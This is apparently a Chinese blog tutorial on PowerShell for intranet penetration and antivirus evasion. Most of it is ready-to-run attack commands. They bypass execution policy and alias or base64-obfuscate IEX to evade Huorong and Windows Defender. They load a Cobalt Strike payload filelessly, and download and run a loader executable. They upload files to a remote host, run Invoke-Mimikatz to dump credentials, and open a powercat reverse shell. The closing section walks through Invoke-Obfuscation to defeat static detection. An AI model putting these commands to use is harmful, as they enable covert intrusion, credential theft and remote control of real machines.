powershell是一個很好的寶藏庫,在內網中可能會給出意外驚喜。
挑一點重點說說,本文的殺軟以火絨為主。
其實我們都用過powershell,
比如ls,dir
不過它只是Get-ChildItem別稱。
常用命令和參數介紹:
命名規范:動詞+名詞=cmdlets
-Get-ExecutionPolicy:查看當前執行策
第一次我們運行ps1腳本的時候會遇到這種情況,因為powershell默認安全策略為Restricted,此時腳本不能執行
修改的使用
PS C:\Users\Admin> Set-ExecutionPolicy -Scope CurrentUser
位於命令管道位置 1 的 cmdlet Set-ExecutionPolicy
請為以下參數提供值:
ExecutionPolicy: Unrestricted
執行策略更改
執行策略可幫助你防止執行不信任的腳本。更改執行策略可能會產生安全風險,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 幫助主題所述。是否要更改執行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暫停(S) [?] 幫助 (默認值為“N”): Y
Unrestricted:允許所有腳本運行(需要管理員權限)
因為C:\Users\Admin不在powershell默認環境中,所以我們需要輸入絕對路徑
$env:Path=$env:Path+"C:\Users\Admin"
添加到powershell的默認路徑后,便可以直接執行了。
&:在字符串前加上&,可以把字符串當成命令執行在字符串前加上&,可以把字符串當成命令執行。
相同的命令還有IEX(Invoke-Expression),也是將字符串當作powershell執行
-EXecutionPolicy Bypass:繞過powershell默認安全規定不能運行命令和文件
-WindowStyle Hidden(-W Hidden):隱藏窗口
-Nonlnteractive(-Nonl):非交互模式
-noexit:執行但不退出shell
Get-FileHash:獲取文件hash
-Import-Module:將模塊添加到當前會話。
//如上傳操作
Import-Module BitsTransfer
Start-BitsTransfer -Source c:\test.txt -Destination http://x.x.x.x/test.txt -transfertype upload
-EncodedCommand(-enc):接受base64編碼的字符串
-set-alias:設置別名
powershell定義函數方式:
function FuncName(args[])
{
code;
}
編輯器:
win10自帶的ISE就挺不錯,自動補全功能也很好。
powershell-cs上線:
也是調用了virtualalloc那些windows api創建而成。
常用的API還是要記住的
在一些木馬分析的時候有時候也會感到有些相似的地方,比如,call ds:DeleteFileA..........call ds:CreateFileA............call ds:WriteFile.............call ds:CreateThread
刪原來文件,創建一個新word,寫,加載到新線程中。因為套路相似,調用的API也相似。
推薦查詢網址:
https://docs.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN
首次掃描,火絨被火絨殺了。
在我們對這段代碼加入上面我們的混淆以后,火絨便不會殺了,cs也可以正常上線。
#然后火絨會對這個powershell執行腳本的行為進行行為攔截
#echo ...... | powershell 也會被攔截
powershell #從cmd進入powershell界面
function ConvertFrom-Base64($string) {$bytes = [Sys;tem.Convert]::FromBase64String($string);$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); return $decoded;}
$a="cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1mIE"
$b="M6XFVzZXJzXEFkbWluXERlc2t0b3BccGF5bG9hZC5wczE="
IEX(ConvertFrom-Base64($a+$b))
不會這樣攔截類似 powershell -ep bypass -f ........ps1了。
這個是笨方法
因為測試其他powershell腳本的時候,沒有被攔截,覺得還是關鍵字攔截。然后就這樣混淆一下。
powershell-cs無文件上線:
powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1')
把修改后的ps腳本放在服務器上,在有火絨的虛擬機上好像是直接上線了。
windows defender二話不說攔截,因為連windows defender靜態免殺都沒過。
至於怎么過windows defender,上篇文章也寫過。
不過這時候,文件是落地的。
powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://X.X.X.X/Loader.exe';$file = ' D:\SYSTEM1.exe ';$clnt.DownloadFile($url,$file);&&D:\SYSTEM1.exe
項目推薦:
git clone https://github.com/mattifestation/PowerSploit.git
git clone https://github.com/samratashok/nishang
git clone https://github.com/besimorhino/powercat
無文件落地端口掃描:
腳本放到vps,開啟通道
在我們第一次嘗試的時候,可能會出現這種問題:
解決辦法:
第一種可能:模塊名字,你不經意的打錯了
第二種可能:需要修改作用域的權限。
執行后為:
powershell -nop -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1')";Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est1.txt
還有一點是執行的時候,殺軟會攔截。
不過我們換一種思路
powershell set-alias -name test -value Invoke-Expression;test(New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est3.txt
給IEX設置一個別名,再執行,火絨便不會再攔截。
無文件落地抓取密碼:
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
反彈shell:
#被控端:
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/powercat.ps1');powercat -c x.x.x.x -p 6666 -e cmd
nc -lvp 8888
power shell免殺項目推薦:
兩個師傅的博客網址:
https://www.chabug.org/?s=powershell
https://www.cnblogs.com/forforever/p/13882312.html
感覺這兩位師傅寫的總結的都挺不錯的,其他師傅寫的也都很不錯。
https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
進入我們的主界面
encoding模塊進行混淆
launcher模塊生成加載器
string模塊混淆字符串
set scriptpath C:\Users\Admin\Desktop\payload222.ps1 #設置我們需要免殺的腳本路徑
encoding
3
out 1.ps1
這里是過了Windows defender的靜態免殺,這個工具其他模塊功能都挺足的,師傅們可以研究一下
其他項目:
https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1
https://github.com/CBHue/PyFuscation
https://github.com/peewpw/Invoke-PSImage
end